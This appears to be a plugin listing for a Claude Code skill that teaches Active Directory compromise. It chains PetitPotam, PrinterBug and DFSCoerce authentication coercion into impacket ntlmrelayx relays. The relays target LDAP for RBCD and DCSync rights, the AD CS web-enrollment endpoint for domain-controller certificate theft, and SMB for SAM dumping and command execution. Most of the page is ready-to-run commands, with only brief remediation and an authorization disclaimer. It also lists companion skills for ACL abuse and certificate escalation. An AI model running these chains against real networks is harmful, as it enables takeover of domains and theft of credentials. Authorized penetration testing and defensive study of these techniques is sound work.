/claude-ad:coercion-ntlm-relayfrom claude-ad
Chains authentication coercion (PetitPotam, PrinterBug, DFSCoerce) into NTLM relay via impacket ntlmrelayx toward LDAP, AD CS (ESC8), or SMB. Use when SMB signing or LDAP channel binding is missing to force privileged machine account authentication into RBCD, DCSync-capable ACL grant, or certificate theft.
Ships in claude-ad. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Two techniques that combine into one of the most reliable domain-compromise chains: force a target (usually a Domain Controller's machine account) to authenticate to a host you control, then relay that authentication to a service that lacks the protection to reject it. No credential cracking involved; you are borrowing a live authentication.
The chain only works when a relay target is unprotected:
Check signing posture first:
nxc smb 10.0.0.0/24 --gen-relay-list relay_targets.txt # hosts without SMB signing
nxc ldap 10.0.0.10 -u user -p 'Password123' -M ldap-checker # LDAP signing / channel binding state
You need a way to make a privileged account authenticate outbound to your IP. Three RPC-based coercion methods, each abusing a different protocol. All fire the target's machine account ($) authentication at you.
MITRE ATT&CK: T1187 (Forced Authentication)
Abuses the EFSRPC interface (EfsRpcOpenFileRaw and related). Often works unauthenticated against unpatched DCs; authenticated on patched ones.
Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
-l <YOUR_IP> -t 10.0.0.10 --filter-method-name EfsRpc
Classic standalone tool:
python3 PetitPotam.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10
MITRE ATT&CK: T1187
Abuses RpcRemoteFindFirstPrinterChangeNotificationEx via the Spooler service. Works wherever the Print Spooler is running (still common on DCs).
Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
-l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-RPRN
Standalone:
python3 dementor.py <YOUR_IP> 10.0.0.10 -u user -p 'Password123' -d CORP.LOCAL
MITRE ATT&CK: T1187
Abuses NetrDfsAddStdRoot/NetrDfsRemoveStdRoot. Useful when EFSR and Spooler are patched/disabled, because DFSNM is harder to turn off on a DC.
Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
-l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-DFSNM
Standalone:
python3 dfscoerce.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10
Coercer sweeps all methods at once if you drop the filters, which is handy to find whatever is not patched.
Stand up the relay before you coerce. The coerced authentication lands on ntlmrelayx, which forwards it to your chosen target.
MITRE ATT&CK: T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS/relay) / T1187
Relaying a DC's machine account to LDAP lets you write directory objects as that machine. The --delegate-access flow configures RBCD so you can then S4U to the coerced host (Kerberos skill). Requires LDAP signing not enforced and channel binding absent.
ntlmrelayx.py -t ldaps://10.0.0.10 --delegate-access --no-dump --no-da -smb2support
After the relay writes RBCD, S4U (see Kerberos skill). A relayed DC can also be pushed to grant a controlled principal replication rights (the WriteDACL-on-domain-head path in the ACL skill), which then enables DCSync as a post-compromise step.
MITRE ATT&CK: T1557.001 / T1187
Relay the coerced DC machine account to the CA's HTTP web-enrollment endpoint and enroll a certificate as that DC. Then PKINIT the cert to a TGT (AD CS skill). Requires the web-enrollment endpoint up without EPA.
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support \
--adcs --template DomainController
Coerce a DC (PetitPotam) into this relay, take the issued .pfx, then certipy auth -pfx ....
MITRE ATT&CK: T1557.001
Relay to a member server whose SMB signing is not enforced to dump SAM or run a command as the relayed account.
ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'whoami'
ntlmrelayx.py -t smb://10.0.0.50 -smb2support --dump-sam
--gen-relay-list, LDAP signing/CBT check).ntlmrelayx.py pointed at LDAP / AD CS / SMB.RestrictReceivingNTLMTraffic / RestrictSendingNTLMTraffic GPOs to constrain NTLM, and ultimately move toward disabling NTLM where feasible.$ accounts).Only run coercion and relay against systems you are explicitly authorized to test. Coercion generates real authentication traffic and can disrupt services. Use lab/generic IPs, hostnames and CA names in write-ups.
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
ntlm-relay, coercion, active-directory, petitpotam, printerbug, dfscoerce, impacket, esc8
8 skills in this plugin
/acl-abuseAbusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication rights via DS-Replication-Get-Changes-All). Use when BloodHound CE shows an outbound control edge from a principal you own toward a higher-value object, and you want the exact bloodyAD/impacket command to weaponize that ACE, plus detection and remediation. DCSync is covered here strictly as a post-compromise technique, not a user entry path./adcs-attacksActive Directory Certificate Services (AD CS) escalation techniques ESC1 through ESC17, driven by hand with Certipy (ly4k). Use when the target runs a Certificate Authority and you want to find vulnerable certificate templates or CA misconfigurations, request a certificate that impersonates a privileged user, and know the exact certipy command, what each ESC actually checks, the Windows Event IDs that fire, and the remediation. ESC1 and ESC8 are the two you hit most in the field./ad-environment-constraintsReal-world Active Directory environment constraints that silently break attacks when ignored: NTLM disabled (Kerberos fallback), AES-only KDCs (RC4 blocked by GPO), LDAP signing and channel binding requiring LDAPS on 636, Kerberos clock skew (KRB_AP_ERR_SKEW), SPNs that must be FQDNs never short names or IPs (the misleading invalidCredentials), Protected Users / LAPS / gMSA / MachineAccountQuota, LDAP 1000-object paging, and VPN latency. Use this whenever a bind, TGT request, LDAP query, or SMB negotiation fails in a way that looks like bad credentials but is really hardening, or before running any AD tooling against a domain you have not fingerprinted. Standard-tooling knowledge (netexec, impacket, certipy, bloodyAD, kerbrute), no vendor-specific engine.
npx claudepluginhub adscanpro/claude-ad --plugin claude-adOther plugins' skills for the same job